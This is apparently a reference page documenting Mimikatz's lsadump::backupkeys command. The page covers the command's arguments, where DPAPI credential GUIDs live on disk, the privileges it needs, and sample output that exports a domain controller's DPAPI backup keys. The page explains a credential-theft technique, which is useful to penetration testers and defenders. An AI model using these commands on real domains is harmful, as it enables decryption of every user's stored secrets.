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backupkeys
lsadump::backupkeys
dumps the DPAPI backup keys from the Domain Controller (cf. dumping DPAPI secrets). By holding the backup keys any user's master key can be decrypted and as a result the users' secrets can be decrypted. It has the following command line arguments:/export
: export the output as.pvk
which means "private key"/secret
: at the time of writing, November 1st 2021, we don't know what this option refers to/system
: the target DC hostname/guid
: TheszGuid
value. It can be found atC:\Users\<username>\AppData\Roaming\Microsoft\Credentials
,C:\Users\<username>\AppData\Local\Microsoft\Credentials
andC:\Users\<username>\AppData\Roaming\Microsoft\Protect\SID
. It can also be obtained with sekurlsa::dpapi
This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the
NT-AUTHORITY\SYSTEM
account).mimikatz # lsadump::backupkeys /export
Current prefered key: {e3364acb-379c-4775-bef7-c3c1e1992589}
* RSA key
|Provider name : Microsoft Strong Cryptographic Provider
|Unique name :
|Implementation: CRYPT_IMPL_SOFTWARE ;
Algorithm : CALG_RSA_KEYX
Key size : 2048 (0x00000800)
Key permissions: 0000003f ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_EXPORT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
Exportable key : YES
Private export : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.keyx.rsa.pvk'
PFX container : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.pfx'
Export : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.der'
Compatibility prefered key: {b799ff33-a573-444f-bc86-b8aeb36fcb3f}
* Legacy key
561acf46e03db74112af7412402415d80dfe92b0fbf57588358647007d46f28f
8f6ca1990c0fee951bd52e69e9bdfbf9c8e07be0033dff21a71d192447668096
f6e1199e5b8b61fb3ffb758a92757efe863307cefd7d773476053286c08dc7c6
87671f0e7374ccc179e6cf718673beb80dfe12bf03c7914a767a959b66478498
14527ee085f014c7574d9b9388dae00f42ee91f96e97c8272d6955e51e2d7304
67be8b32a706203bacf3abaca3d9f1ec90e4d63290e39d2e6c2465fc0e195b7a
2baadcb281537863a37c2e0f76d025ecb7a23b81970dbe2ab8e77b3b2fb617d7
bb7b81126e17a60d3023b0b8db159dd927f49136ce14f29565d3d9794d2f9c79
Export : OK - 'ntds_legacy_0_b799ff33-a573-444f-bc86-b8aeb36fcb3f.key'
Last modified 1yr ago